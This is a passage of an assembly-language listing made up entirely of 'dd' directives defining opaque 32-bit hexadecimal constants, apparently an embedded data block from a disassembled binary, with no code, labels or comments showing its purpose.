		dd 0D99B8CF7h, 75CAD3Eh, 0DE7449Fh, 3DCFB500h, 592B003Eh
		dd 96366ECCh, 0B9152EF8h, 653449F2h, 80440908h,	436EDAF7h
		dd 0FC72E0A0h, 88E00067h, 5805A229h, 5114890Dh,	7CE821F4h
		dd 83042257h, 0C64E7E1h, 26300110h, 21003550h, 5788E4B2h
		dd 660A414h, 8C4DE12Ch,	8422823h, 441CF521h, 11E94262h
		dd 991103D3h, 457C11B3h, 2510D521h, 8286D8Ah, 7188ABA7h
		dd 0F0B8889h, 11143194h, 5D21A6DAh, 910E2808h, 404805h
		dd 2072D426h, 1362D0Ch,	179C0A43h, 30FCDF07h, 6700975Bh
		dd 6A62945Dh, 0FE10F86Eh, 9E0B0043h, 55D7C709h,	0D100D9AFh
		dd 8CA58B83h, 0ABAEFEh,	5BE41A6Bh, 908877B1h, 251E2D00h
		dd 69FC8D37h, 9A9E0759h, 0B00B6A01h, 1135029Fh,	40855A00h
		dd 8F6C7C4Bh, 0D06EC053h, 0D54FCE38h, 3663FA00h, 2CC5F5FBh
		dd 671D0FC0h, 72408131h, 658CBF1Bh, 0A3557600h,	6A301F94h
		dd 5EF0000Ah, 0DDA05D4Bh, 0C7000479h, 95D9B75Bh, 0D08783h
		dd 57AE1162h, 48C493E4h, 74F6600h, 31E9AF13h, 82E1001Ah
		dd 29FB3360h, 2306A50Ch, 0A262D44Ch, 17F80320h,	1F16E382h
		dd 0F20E5DD0h, 8E60A53Ch, 1B8A9Dh, 0FFED9E7Eh, 3D90D3h
		dd 10BA8F1Fh, 3C4722Dh,	1D18600h, 264EAC8Ah, 0CF8700B4h
		dd 6832C1BFh, 0B6246A46h, 81098452h, 0BC4C072Bh, 99D46540h
		dd 4498F4h, 0E14AE6B7h,	1F5E9251h, 46D6710Fh, 0F86B408Ch
		dd 0A1A0D9h, 142C3907h,	0A7655920h, 5DC51800h, 0B663A446h
		dd 36260049h, 942ED4B8h, 1100412Bh, 3BBC96F6h, 0D534B37h
		dd 0F8272CB2h, 0B4E0DC80h, 4924EE00h, 0A94990Bh, 63D10005h
		dd 0C68C7169h, 5A05BBFCh, 5057DF01h, 39E2BDC0h,	9833000Bh
		dd 0E388058Bh, 2A00AFBCh, 0C84F7F5Ch, 3F11660Ah, 500788Ch
		dd 0B00FD63Eh, 53005728h, 9B43A54h, 0A1C910h, 2DF604B5h
		dd 2FAD88AFh, 3736BE04h, 0D880CE1Ah, 69FD9Bh, 47834A94h
		dd 0EE7D26B5h, 9DC51200h, 3B92E98Bh, 0FF4B0029h, 0A756EC01h
		dd 0AD07604Ah, 0A1A337E4h, 617A02Fh, 225C5B1h, 6A2372B9h
		dd 28405BCAh, 3B00394Eh, 0BD26D3BBh, 0FD4664h, 0FC2DEDF2h
		dd 2C515524h, 385FD71Eh, 9A7F67C0h, 7DD928BBh, 1B3D2463h
		dd 0AF340034h, 0AB9D24C8h, 0F0C0AEEAh, 0A8E8C42Ch, 5AC60025h
		dd 9331E327h, 0E07BFC56h, 582EFA2Fh, 3090E648h,	0FE481954h
		dd 6000350Ah, 7F3C1AE6h, 1DFD26C5h, 0BE4A7375h,	0DEB67A87h
		dd 6E09F079h, 10ADC98h,	0CF237BDDh, 0C4756100h,	1F1D87Ah
		dd 0C435AF8h, 0D4B7692Ah, 0C3000F16h, 1195BA4Bh, 0B9B5E2h
		dd 586282ECh, 0E141DB4Dh, 2BC4F700h, 7CB77DCEh,	65260261h
		dd 9D3984EBh, 87923160h, 2F4AC300h, 12A6EF30h, 0A4380029h
		dd 24F3B1D9h, 9839BC7Fh, 0EF0D004Ah, 7AF2554Eh,	0DC2200F7h
		dd 6E02A5E4h, 0B73F0C9Bh, 729000C2h, 8B2009F3h,	3EADF8CBh
		dd 0D187C394h, 40825E2Fh, 78D5468Dh, 981F7F00h,	566C3C87h
		dd 0C4960690h, 110FABEFh, 160BDE01h, 67DAB79Dh,	13093CD8h
		dd 0F36E429h, 0A44053C8h, 0EEF098CCh, 9C7B1700h, 0EC28F477h
		dd 0FE310046h, 810FBCFDh, 1200C7D4h, 0F929F741h, 308B0FFh
		dd 2095DED3h, 201F9CABh, 3EC04798h, 0B07822EFh,	84880E5Ch
		dd 0FC00B52Eh, 77837ECBh, 0C809C8C0h, 1C66C4C7h, 802A6DC0h
		dd 4207167h, 341CD873h,	95000BA1h, 0EB3D86B8h, 5E2C0049h
		dd 254ED063h, 89007C0Ch
		dd 7A97C173h, 6E86E7h, 387FD684h, 962C439Fh, 0E5DBAE1Eh
		dd 716BF800h, 0CDA6D3h,	2A18AC29h, 9F41B546h, 539D4748h
		dd 8F2AE800h, 0D440EB1Eh, 0D91CF4C0h, 519B0078h, 1A256831h
		dd 9507EF5h, 0CE0AFD80h, 0FCED9897h, 0EC5A1900h, 40CC255h
		dd 0B290D859h, 80EC84E8h, 152F7ADCh, 0AFD6A03h,	98B0EE99h
		dd 591C13h, 2AEDC705h, 7E9415A3h, 0A23A3278h, 38E10097h
		dd 61BADA92h, 5A34000Eh, 0E513A970h, 0C000A776h, 0E108DFA2h
		dd 7B72C2EDh, 8B1F05EEh, 460C5Eh, 4A47CBF5h, 5A58CC63h
		dd 0A8B02AD6h, 1302A701h, 97E9CA19h, 0E453F4h, 457BDC2Ah
		dd 8F1739E3h, 66256200h, 998E1235h, 0A5E8000Eh,	29A6E637h
		dd 2100D540h, 0FF97E44Ch, 407AC146h, 0D9008128h, 1493240Ch
		dd 0EAC7D6h, 4F887B64h,	5BD377DBh, 2890B679h, 5443990Eh
		dd 8400D2FBh, 0D35EC44Ah, 0FC7180h, 2797DB0Dh, 0C74F9FBAh
		dd 0C50EBEE0h, 215B561Ah, 2245481Bh, 6B81A6h, 35033204h
		dd 7A38A3A6h, 510EF6CCh, 89B5B80Bh, 965D80C1h, 0EEC7BFh
		dd 7AA7B988h, 33BA2B1h,	85AFE200h, 3A18B00Dh, 6F163CACh
		dd 0D8DA7400h, 58F22CE5h, 2699463Eh, 0AA006773h, 59CEC956h
		dd 0A0B9F695h, 1ADFA8h,	162F0A4h, 5CAAD37Fh, 28329100h
		dd 4F936C82h, 0FC130067h, 0AD07ED83h, 0CDE4B6B0h, 2DC95403h
		dd 0A89DFDEFh, 87F1A33h, 1BF93E80h, 83C06980h, 2EC2E0h
		dd 49264377h, 5C0793EDh, 96AA2F00h, 40EBD201h, 51FA005Ah
		dd 60533567h, 31002D95h, 278F70D6h, 4E34BEh, 0FFF61C5Dh
		dd 6A93C698h, 51117F0Fh, 0F18E80A1h, 786C3149h,	768000Ch
		dd 0BF3CB8B6h, 863B988Bh, 244580FBh, 0A960E9EEh, 0E8E000BDh
		dd 3C9DCD9Fh, 840016BEh, 44F88519h, 9BD7DF5h, 271A7A7Fh
		dd 295485h, 7A36D30h, 0C000C81Dh, 0C7A96582h, 2D943h, 991FF99Dh
		dd 7CCEF34Bh, 0D77EF105h, 0B180A486h, 3C27DD29h, 0E814D04h
		dd 3994A837h, 0F1F0EB61h, 0FCF5B7AEh, 0B900035Dh, 9EE1C9ADh
		dd 3B8085C8h, 0E4070BF5h, 701ECE02h, 0C04710BCh, 2219FF03h
		dd 0E7EFC690h, 8B082000h, 24E0A064h, 7CFA005Dh,	0CE8474FCh
		dd 0F099204h, 87FBF4ECh, 2BA016ECh, 0F03E20h, 3786F306h
		dd 9FEA527Dh, 58651000h, 0FF3F7F96h, 0A5C700ABh, 0BBAEE1BCh
		dd 4BE0B4B0h, 4268C801h, 0EDE786E4h, 0C759F1D4h, 0E0EED011h
		dd 9844E0Eh, 0BE692800h, 178BAF53h, 0CF78B3h, 5E9B2EC3h
		dd 0F9F19673h, 0FDEDE93Bh, 8802B104h, 4880BED7h, 50031297h
		dd 7AB8CE89h, 0D874009Dh, 0D6D5E24Bh, 1F3B0729h, 45590011h
		dd 3E891E4Fh, 2C350398h, 30399391h, 0D5DBD2E0h,	0F6A84702h
		dd 402DAAB1h, 0A3148h, 95933FBCh, 76B504D1h, 46610B00h
		dd 97DCB82Bh, 0B1FB00AAh, 0A23025F9h, 95000580h, 9043AB3Eh
		dd 0C040B5h, 820FCCECh,	0FE672D9Dh, 4B0830E3h, 0A7CECD0Bh
		dd 36B001E3h, 0E6C031ACh, 0B0A07566h, 0C0BE0030h, 0A4BDF04Eh
		dd 511409FFh, 16C8EE8Dh, 0D8207A0Eh, 7D59C4B7h,	12190FFh
		dd 3268D444h, 34C31BBCh, 6F00A13Ch, 902C83FDh, 300B0FE4h
		dd 13A8C094h, 0BF002D29h, 0DE4592D0h, 59BD9EABh, 0E601EC96h
		dd 83AA0399h, 483183B1h, 17A8E56h, 46FA3A21h, 0C0EDD9DCh
		dd 93EA6E7Eh, 0A3895C02h, 0C8067BCBh, 8876DCh, 6F60C85Bh
		dd 3CE15965h, 0F6EA8EFCh, 0F997C13h, 8611E002h,	0A52C60DCh
		dd 0B438389Ah, 25A21580h, 20BB7062h, 0D7EF8800h, 93FD2D2Ah
		dd 0FC524880h, 0DB0A2E03h, 0A808A875h, 62E8FCh,	599CE0ACh
		dd 0AA002E04h, 0E4C81963h, 3142FAh, 41712A25h, 0E869DB8Ah
		dd 39FEE671h, 0B2FEFF04h, 5580043Ah, 1D98362h, 0FA369774h
		dd 65595ACFh, 0FB2DDC48h, 61C32A09h, 98E88065h,	6BB875h
		dd 0CC59AB42h, 962AC7DFh, 272E3Dh, 605A6C6Eh, 1F26E5A7h
		dd 3A3A9D8h, 5E79DFDEh,	63146AD0h, 245F4000h, 31BE7B0Dh
		dd 2D160029h, 0E54F19CDh, 5600FE80h, 8218904h, 8F2EA9h
		dd 0E97DC8E2h, 0B08C6EF4h, 0BF00A1E6h, 9A1840DBh, 72C3FCh
		dd 50354EBEh, 3DE9EA08h, 0EFCF1400h, 0B91B6BFBh, 53EB0E59h
		dd 0B7A19FA0h, 70E860B3h, 0A7070C82h, 0B26BD64Fh, 716591F0h
		dd 0AE090013h, 2D62F770h, 0F1003D43h, 0A531C05Bh, 174ABA1Ah
		dd 0A067C2h, 0C36DE614h, 0D1094724h, 20BD87DDh,	4BC2B420h
		dd 231614E3h, 35009C61h, 0BEA86E21h, 4006609h, 0EE06AA7Ah
		dd 985B6C3Ch, 0F6B124DDh, 4879624h, 0C00495B4h,	27393F08h
		dd 0F8E9203h, 8AC751Bh,	496170A9h, 831EC089h, 0A08E0EC8h
		dd 30B3D309h, 0CB28858Ah, 0EC09076Ah, 80378983h, 6695A1Ch
		dd 636600C5h, 8129CF59h, 7A24473Eh, 0AE00C8BDh,	60C2D926h
		dd 15B88Ah, 0A42E0719h,	342F428Fh, 75E5E702h, 60069FC0h
		dd 25D0529h, 44F64324h,	0E8802BC9h, 0D8E5B1D5h,	9FFC484Ch
		dd 0C080A58Fh, 0AA201B5Ah, 466D010Ch, 49868894h, 23F9E027h
		dd 5C593F00h, 0AD55269Ah, 92100163h, 0D7DF1B81h, 43E840EEh
		dd 978831D5h, 84A40B11h, 64A0723Eh, 0F1A35417h,	20007FEEh
		dd 0E466B668h, 266E049Ch, 0BD902ADDh, 0EB2EF00h, 262818C7h
		dd 29AB4B00h, 7603953Dh, 759B00D5h, 50F8C8A5h, 0D00B9F3h
		dd 70578488h, 244BC06Dh, 0D2D8h, 0E7A99B55h, 0F17FEBF6h
		dd 15B82100h, 48E58B85h, 0E6E4E27Ah, 0AE19001Dh, 234C9601h
		dd 0D0C08937h, 0F79368ECh, 7D2B00DDh, 0DBA44382h, 0FE03588Bh
		dd 0C2063F3Dh, 9F26C890h, 0FF7475h, 0A864EEE3h,	0D1808BD3h
		dd 0A7335704h, 1C974261h, 0DCE00059h, 4B1763h, 0E87054A8h
		dd 0F510B57h, 0CB10EB07h, 419081C5h, 870EB3h, 0F195F934h
		dd 0CD9A4CDCh, 781F6370h, 0F6C284A1h, 0C090E24Eh, 26187FC8h
		dd 68E0BAh, 5FD5D311h, 0CE12787Ch, 4840F638h, 68B8EB1Eh
		dd 0C86E4C58h, 0E3D2B500h, 2D369362h, 5E86B403h, 0A89D81F5h
		dd 3F1A898Ch, 0C2484A6Dh, 0F8B70572h, 0C014B44Eh, 39CC854Ah
		dd 9F00C8F4h, 9899CB3Eh, 0EDF5137h, 9DAA3277h, 0C4F48020h
		dd 840B189Ah, 80CB72D8h, 0C07D6C8Ah, 594A004Ch,	63EB8C2Ch
		dd 167E6DA7h, 53973F00h, 50E5C526h, 2D1709C3h, 286966ECh
		dd 0BA92E008h, 164D2488h, 2D556D3h, 0FC820540h,	2E070451h
		dd 8A3024C8h, 329A69h, 0DD172580h, 2119F753h, 4A9C202h
		dd 582A1CBAh, 0E1204DCh, 0C1470D89h, 609BD157h,	7B1DCACCh
		dd 59815CD3h, 0E5542573h, 73E6060h, 960C9A6Bh, 0C0EB05DEh
		dd 5DB956C2h, 3B9DF001h, 505F4E95h, 121B91D8h, 9039609Fh
		dd 0C1EC17CCh, 0FF6962Ch, 6785E201h, 0FC30C48Ah, 40D10441h
		dd 80BE320Dh, 3B718E48h, 57586F00h, 88B33DCCh, 0B022h
		dd 0D4BA47F2h, 0C99F60Bh, 80FFE13Ah, 37C5A41Dh,	3C579646h
		dd 4880444Eh, 0BED6892Eh, 92075806h, 7626F67Dh,	3F3B90A0h
		dd 3CC04A9h, 0B407B867h, 79001760h, 0DEE30C58h,	0B0EF51E8h
		dd 0A20700F8h, 9ADB273h, 0B3008DEAh, 507A8A04h,	7743E5h
		dd 0C3C12F79h, 64FF55C6h, 4DE7F907h, 5B09C13h, 0DA200Ah
		dd 0F7422B81h, 5ABEE6DFh, 1F70715Ch, 2411BAE1h,	80A9C01Eh
		dd 4D466CF5h, 0C3EFAFF6h, 0C8ACA6E9h, 0A300E8BDh, 3893A29Fh
		dd 1D362FBCh, 400298C8h, 48C64365h, 510C3C8Fh, 52D41E96h
		dd 0F42D54C9h, 0F52B1C89h, 0C3A7C393h, 61D0DF88h, 1500E8C7h
		dd 0A200B50h, 0BB40E4h,	2D8D7A16h, 76CF447Bh, 7158FEF4h
		dd 75060028h
		dd 0D53FE813h, 0E97A00DDh, 4751327Fh, 5F00C27Bh, 0A23D21F2h
		dd 1D33F6B3h, 8FD7EC7Ah, 72E754CDh, 906220FAh, 0BB0020B0h
		dd 0C5CF3E3Bh, 9B1EAE9h, 2B4D42AFh, 6F161880h, 0FA07788Fh
		dd 8D5777B6h, 3A2DB051h, 50C3C70h, 0EDF59B5Ch, 300CD779h
		dd 0D7AA5759h, 88151A00h, 0BCA11ED9h, 10C9AEDh,	0A3A7940h
		dd 83EB6768h, 0D16F2D60h, 0F70A6E0h, 8F8BDC7Bh,	0F8B90859h
		dd 0EA507206h, 1E506D10h, 790D391Ch, 83A87DAh, 5C7E58A7h
		dd 6D002C20h, 0BBA2E132h, 74A30257h, 0C5A9893h,	0BEFC53A5h
		dd 64506D18h, 22007418h, 0ABEC13BAh, 1572C640h,	843FDA28h
		dd 3E4701Fh, 2E4578BDh,	430E307Ch, 4FC5A320h, 49DB0735h
		dd 2A2BAB41h, 0FF821A4h, 0B6477DC6h, 3B0C9AA9h,	60245614h
		dd 0BE421A05h, 0A0D1002Eh, 0CFBAD908h, 0FADD1200h, 1FA122FBh
		dd 2D500018h, 0ED27EED4h, 80015F7h, 7735B125h, 0FABE4D4Fh
		dd 0E39C5C18h, 0F8B84B07h, 8656909Eh, 8917A28Fh, 0ED00B315h
		dd 3884E349h, 7870C7h, 9C253FF7h, 4C3ED883h, 0D4650B05h
		dd 2087F61Ah, 0AF44FD20h, 0EFB0009Dh, 3B377A24h, 0ED007F92h
		dd 714D9925h, 73CA0Dh, 792831A3h, 17AF0CECh, 0F7E97A67h
		dd 232C7DA0h, 4F13005Bh, 917235FEh, 0B6002FE0h,	2DC23815h
		dd 0B2B5F6Eh, 6D55E1F9h, 0A8165423h, 899809A9h,	20F30B10h
		dd 89CD5600h, 647100DEh, 587847B0h, 0A87A6232h,	0BC462A29h
		dd 0C3B78900h, 1B6F7Ch,	86642772h, 20854BE1h, 0FC8E61C0h
		dd 0E577313h, 0AB1C5A59h, 0DC43F40h, 19789A4Ah,	0F8F2041Ch
		dd 3C03DA03h, 3DB9F1A9h, 226DC5h, 587A5514h, 71EBBA00h
		dd 211AABE2h, 847F743Dh, 46B97DEh, 6F4A80FEh, 0BA0158DDh
		dd 0A4E645ECh, 48804030h, 5F1A8FDCh, 4A7F7ABh, 368C6057h
		dd 0CD75172Fh, 0EBD1F800h, 4D554896h, 0F0EF3008h, 14FABD18h
		dd 0A5F29900h, 344919E5h, 5A3607D1h, 918C92DFh,	0BA1B23B3h
		dd 96007950h, 7378ADD6h, 3468D88h, 706630C4h, 300C9A3Ch
		dd 81CBB312h, 0BCB20EA8h, 0DFE056DDh, 0F45DA4F2h, 3A8144Ch
		dd 0AC63292Dh, 11E8D94Bh, 9955B980h, 73C02704h,	255C7400h
		dd 0C3A17932h, 92FA0007h, 0B65B2E2Ah, 0FC3F0654h, 8A4B03A6h
		dd 0F0AC0187h, 37FA858h, 0F3BE7D7Ch, 0D000E019h, 0A41E4BF8h
		dd 18859201h, 189CD90Ah, 0A8004056h, 0C246BAC1h, 2876D1F6h
		dd 19072E8h, 9F507C70h,	513DD88Ch, 80E6DCA8h, 754485D9h
		dd 132059DBh, 14B9DFAh,	0F8632A74h, 57AC57ECh, 60B4CA7Ah
		dd 0AE0D6D49h, 0C021F50Ch, 10368F9h, 0F6611985h, 0D8569A81h
		dd 0A8C07A6Bh, 0C995DC54h, 0AB71000Dh, 0F2A13184h, 0DF188539h
		dd 0FA88F055h, 41CC0073h, 0DA33927Eh, 0D8DF7134h, 5118C32Ch
		dd 20DFE718h, 0DA249BECh, 541CF8h, 745859A6h, 5BC7BAF6h
		dd 3055B41Fh, 5D560900h, 3E0AEACh, 5EB1C357h, 38A5B3Dh
		dd 3B0061FEh, 0A0D6A7C6h, 0D680127h, 8F6B34BAh,	5CE086BFh
		dd 269B2D7h, 13415A4Bh,	0E08596FCh, 6AE446D4h, 150020F6h
		dd 0C71940A1h, 1EE362A0h, 4C02CCCFh, 0F0A9D4FCh, 60633Fh
		dd 0E8F68C91h, 50B67FB2h, 40CCDC73h, 60045D06h,	54620DD7h
		dd 0BBAB0490h, 222F0EE2h, 8C46DB66h, 0FC0A50C9h, 0A479D84Bh
		dd 1B1EC283h, 0DB56E0B4h, 32070028h, 7D8F1C7Ch,	3B051A92h
		dd 6750C66Eh, 46052038h, 28206F28h, 5EB80143h, 5280EF22h
		dd 53C17AB8h, 9713F4B3h, 0B0FCB19h, 21801508h, 40F22CCDh
		dd 1400F859h, 23BE4F2Fh, 1454DB63h, 0E025A1ABh,	3000FF89h
		dd 0AA64F650h, 37C0B61Fh, 2144307Ah, 0B4509h, 7E87A70Ah
		dd 0E3353A50h, 0FC859E03h, 1F42A873h, 94DC4CA0h, 450198ECh
		dd 0B32A8D86h, 0D7BC50CEh, 68009CC3h, 770AAF57h, 0E8EB5B75h
		dd 9421C091h, 63159C46h, 0FFDEDC01h, 10D99E28h,	0C75A3870h
		dd 0C0232D89h, 0C036199Fh, 1D07AD01h, 0FAB7B54Dh, 0A0B30424h
		dd 908E3328h, 0EE6F038Dh, 995A7BF2h, 0E77A35E0h, 8000B44Ch
		dd 0A22CE20h, 263A7CAEh, 1444A417h, 7ABC905Bh, 0BE75008Ch
		dd 64D78648h, 0E02E853h, 0B39576DAh, 5D64415Fh,	3040ED19h
		dd 64938E44h, 72006711h, 8CD5DA5Dh, 3424CD3Bh, 7198E050h
		dd 0C09DB321h, 8DB129E9h, 53E4C581h, 0E8F2D00h,	0B3D70597h
		dd 0C64E00B2h, 580F0DC1h, 88C890B5h, 968CC5Fh, 96FEFC15h
		dd 21853044h, 440C014h,	0B941AB2Bh, 0F8E8CC6Ah,	3EA7E300h
		dd 0B4D353A0h, 76603011h, 0C578A514h, 0DE2AD501h, 897CAB07h
		dd 1292C7FCh, 129095F2h, 43F43110h, 9708801Ch, 248369D7h
		dd 0AC6A5426h, 0F9300090h, 0BC171EA3h, 0E9E29FAFh, 0EF0F9375h
		dd 809E8775h, 312D086Dh, 2EBA0CB6h, 0E3A10CB3h,	9A018F00h
		dd 613D3FEFh, 44B41F82h, 0F4853F1Fh, 88C458A7h,	0A80CF628h
		dd 110F8366h, 182B4C42h, 85ED7880h, 5528A4E7h, 0C4A7A0B3h
		dd 0EC608344h, 300B11Ah, 4F88A91Ch, 54EFBEBDh, 46E862h
		dd 0B39C20B0h, 7121A42Ah, 3839C64Ch, 4F318036h,	0B0932F53h
		dd 0AC8548DBh, 8CF6BCh,	564FF8A2h, 0F9D61999h, 0ED57D016h
		dd 0E8D42414h, 3008CE4h, 93B7E69h, 59C88497h, 35002C77h
		dd 64E757Fh, 80A81D12h,	34508698h, 0A4FF43B0h, 0E81E6C69h
		dd 0D0F58ACh, 848C19Fh,	7860F516h, 7DEA0C8Eh, 0BD405C2Fh
		dd 184C60F9h, 344C8Ah, 57854072h, 0A65EC828h, 0FC72400h
		dd 0BB30974Bh, 7551038Fh, 49F1E52Eh, 238E40D0h,	0D4F0B558h
		dd 8CAFE888h, 59511C00h, 600B2207h, 9CDD166Ah, 62A86554h
		dd 51312BFCh, 2BFC05FCh, 80307B5Eh, 0A740A410h,	0D6032552h
		dd 8BC9BBE0h, 0CE8CD8E4h, 819880E1h, 0EABC88A1h, 90BA2CC3h
		dd 6E443067h, 0F2E0D860h, 0D4A95902h, 8308A4F4h, 1C9268CCh
		dd 40544168h, 0D1F2F7F6h, 481C6553h, 0A046355h,	0CA09176h
		dd 0D71A4037h, 0BA264906h, 7BA9884Ah, 0C0AB265Dh, 0B2CC0A4h
		dd 3C7DF623h, 1E514486h, 800B4400h, 0EA549D48h,	0F8BC019Fh
		dd 0CFC90FD3h, 686880CAh, 27255910h, 147F8A8h, 8AEB1B75h
		dd 4E44B5FBh, 0F66E84B8h, 0DCD0F233h, 201AB5F1h, 8468CC61h
		dd 0A1672C8Ch, 0DD4D2A9Ch, 0C06062EBh, 7F9C508Eh, 0DA6C0080h
		dd 0FB7243B9h, 8525CA7Eh, 0E72418ACh, 0D79821C7h, 90A9904h
		dd 0D1544893h, 0C0725D88h, 2E22010h, 3103F896h,	82B0510Fh
		dd 2615FA2Eh, 0C0F90C4h, 82A29D94h, 6898900Bh, 99405C44h
		dd 36AC68h, 21F9BAD3h, 0EF4AA8F4h, 95C6A040h, 1F14DF6h
		dd 0EE011D9Eh, 4425A909h, 92EC83B4h, 40225108h,	63C640F7h
		dd 890756Ch, 49A0B257h,	78DBAC54h, 28080025h, 0D1F53BE6h
		dd 751C3599h, 160C4D55h, 50426869h, 86640FAh, 9F013070h
		dd 0EBE8DB06h, 687500D1h, 58BEE4C1h, 6002A15h, 1F72BF4Fh
		dd 0E6504F0h, 4BFD0F14h, 42B0AEFCh, 218E840h, 945113F2h
		dd 5BEC38A3h, 32F22A00h, 9D8F7ACCh, 53E20067h, 0FAA95896h
		dd 0C2149324h, 24E0D4E8h, 59608C95h, 247001F4h,	9916AB4h
		dd 8063C063h, 0E7D037B8h, 0CE918B00h, 709FFFCFh, 0D8EB04CBh
		dd 0CEA15D13h, 0C0A88858h, 0D048CB57h, 34C9B90Bh, 0CAC800FFh
		dd 14569141h, 8073E079h, 6C04488h, 46945DF2h, 0E22203h
		dd 0A7F22ECFh, 0B9D26D15h, 544878B9h, 7F36007Eh, 55222E24h
		dd 950F7518h, 139866B2h, 4CF03850h, 85A21714h, 302FD452h
		dd 0A077A23h, 7340CE2Fh, 0A5E69462h, 302680D0h,	70F2B83Bh
		dd 0DD849616h, 50DCD422h
		dd 0B0AB00DCh, 2BE6F2F3h, 0CB002A86h, 4DD1B989h, 7DA3E0A5h
		dd 0C99603D4h, 0F6F79AECh, 6C602FEAh, 34940755h, 46D16021h
		dd 0A900F918h, 0E7B92E45h, 96119FF8h, 727C47ECh, 44C5FD1Ch
		dd 26A3FC06h, 0A1189819h, 2730B186h, 38AC9AD3h,	54A47063h
		dd 0D00C39A4h, 5F186ECBh, 0BC8CD548h, 0D6098CEBh, 0C8F945EFh
		dd 174B17Ch, 0A36DB85Ch, 70A4E1DDh, 9AEEBEF8h, 7007D8B0h
		dd 4D453AF9h, 70D2D454h, 64C86DB2h, 38A7609Dh, 1DC32CD8h
		dd 8188215Ch, 44397035h, 54DECCCBh, 0C4C7AB2Bh,	560B4301h
		dd 591814F6h, 175B1F88h, 12BE540Eh, 18D81874h, 0A200C1ACh
		dd 0F2F5C89Eh, 4DDA9295h, 60DEC5Ch, 4611B4Ah, 8854CEC0h
		dd 0CB08C071h, 0D200C82Dh, 0DA34615Bh, 4B1A2274h, 357C2049h
		dd 9C00F1F7h, 0FABF0EF6h, 0BAE5441Bh, 349A001Ch, 0C3C2A85Ah
		dd 18568D85h, 9C2102A8h, 313F4D36h, 60521298h, 0FEE21D0h
		dd 967478B1h, 0E1EDF283h, 7935E002h, 50346095h,	0FFC914A8h
		dd 0E602DC18h, 4AF74BDAh, 9E6BA820h, 42349178h,	0AC51D397h
		dd 7018E871h, 326A0202h, 81557D9Ah, 2DB3C6ECh, 40721C30h
		dd 5094D575h, 0DA1B787h, 61732162h, 19815550h, 1586EF42h
		dd 2DE740F8h, 0D8A44B06h, 348E1107h, 43B2B566h,	1ACC4B6h
		dd 92FACC85h, 8053D75Ch, 42841949h, 0F21B91F5h,	9C3658DCh
		dd 720FACC7h, 4053BE5Fh, 58842A11h, 79A60441h, 6B208332h
		dd 0FA8A40C6h, 16187FEFh, 49DC7BFCh, 0C0B53360h, 64F66788h
		dd 408C977Bh, 0F9DE077Ch, 8F3BC814h, 0DB4B0CD0h, 8C50580Ah
		dd 740B60Eh, 348B92FCh,	2D903920h, 0F9D54802h, 4483F7D0h
		dd 11946E8h, 576D9C54h,	0E20C0AA7h, 9595188h, 0A1DC829Ch
		dd 8ED75C82h, 0EFF84703h, 0C2859F51h, 0C867B822h, 8E1212DCh
		dd 0E8452C40h, 0F2110486h, 623B935Ah, 19CC2006h, 0D77D8FF2h
		dd 904D7F04h, 48C09B5Ah, 0A58583F6h, 9D516F5Ch,	45D62102h
		dd 3D2F6040h, 0F8660AE7h, 262C98C3h, 80C20A6Ch,	9D467C34h
		dd 2137617h, 5472F6E8h,	7E00AC52h, 6E7B43CFh, 2A97BEh
		dd 0C1A7DE90h, 2179323Ch, 0DF3BF114h, 0EF5B1094h, 58F207C0h
		dd 80B90B93h, 0F22F5AC0h, 1CF73A3h, 0F54D9C1Ah,	23513D87h
		dd 6BBF1C88h, 0B5A93400h, 480685C2h, 0BA82AC81h, 0B08231A1h
		dd 7822AD4Ah, 127051D2h, 10383A2Ah, 81CEF780h, 0C06D6F47h
		dd 0F284833Eh, 20917E60h, 77B9C4Eh, 0C877D697h,	2D8DF26Ah
		dd 9C28B4B0h, 0EB4798C4h, 8D8080E2h, 0C8B89C2Bh, 0E126410Ch
		dd 1ED619CDh, 0C24BF93Fh, 373D9BC1h, 52823471h,	4576C479h
		dd 0D0DC13D4h, 0D7BE12A8h, 0DE9C3C1Dh, 0B0FB5281h, 506563EAh
		dd 28AC483Dh, 42F08E00h, 4BFCC44Ch, 0F4595D30h,	1EF28852h
		dd 22E730h, 0B4ACF0D2h,	9261EB59h, 0F5ECEA18h, 7FCF6BE0h
		dd 58821384h, 29404899h, 1240A7C0h, 706E58FCh, 40A23EE0h
		dd 6607DE07h, 0A82099BAh, 0FC562B48h, 90F4770Dh, 22E4688h
		dd 4D2C9CF7h, 58C7CFh, 449C2AB0h, 941F1757h, 2644483Eh
		dd 5CE09F79h, 4D814063h, 7C6282E0h, 4A9BD818h, 793CD914h
		dd 0A0B186Ch, 0CEC249B7h, 0EA9802A1h, 9080F134h, 58781C9Ch
		dd 4BAFC0A0h, 0A80D9600h, 3681E00Fh, 27C9E88h, 275DAB5Bh
		dd 0B31F498h, 44F6C408h, 291D58B4h, 80050B39h, 0F0AD01EAh
		dd 26AC5B3h, 0FF65E166h, 90F95B1Bh, 9CBF0Bh, 7840CDE1h
		dd 0B02A07ECh, 809F76DBh, 0D3B51496h, 28B8E470h, 34747C72h
		dd 7907B0C6h, 10FB0071h, 17D9C5EFh, 0BE983785h,	6B407317h
		dd 7B8390C5h, 0E2F000F6h, 0FDF15DAFh, 350B7AE8h, 822C1D6Dh
		dd 397330Ch, 54C15E5Ah,	0BCBC2CB4h, 99008CE8h, 0D0EA91AAh
		dd 24FC1009h, 82B08853h, 0E6B4D381h, 6ED8F079h,	470186F6h
		dd 87A7DF60h, 54F223C8h, 0A85E897Ch, 0F6254C84h, 336FE274h
		dd 0FEFF14A0h, 80326B25h, 0EFFD5570h, 0D50D000Fh, 58CE96D6h
		dd 32F9E2C8h, 3148F200h, 1F40C2F3h, 0F496AC9Ch,	0A99E0F60h
		dd 0FF352770h, 62B84C99h, 331CF200h, 7054DBB9h,	6C4BE444h
		dd 0FD43040h, 797DB33Ch, 4CDA17BBh, 23783EF6h, 4FA200A8h
		dd 3912AF20h, 0E9C00C09h, 4C84E6DAh, 0A010702Ah, 0B7B20348h
		dd 88F0CA7Bh, 4B2879C9h, 83C81F73h, 0FAE6D70h, 0E1297E1h
		dd 45E2C052h, 12A27230h, 820F8CF5h, 0F8F868B8h,	0C939A09h
		dd 268CC690h, 8050CFDCh, 338DDFD9h, 7D260EBDh, 40A1F466h
		dd 0D8185159h, 4EB1CAC1h, 0BFD863A5h, 47D404CAh, 0C254AEBAh
		dd 28D2FD30h, 60C44055h, 2F2D4190h, 7C28309Bh, 0BD25B81h
		dd 2C4932B4h, 374496EFh, 7B78248Ch, 0EE19907Bh,	9C014DD6h
		dd 261C240h, 137FE50Bh,	8C2F3ABh, 81411CA4h, 30115A00h
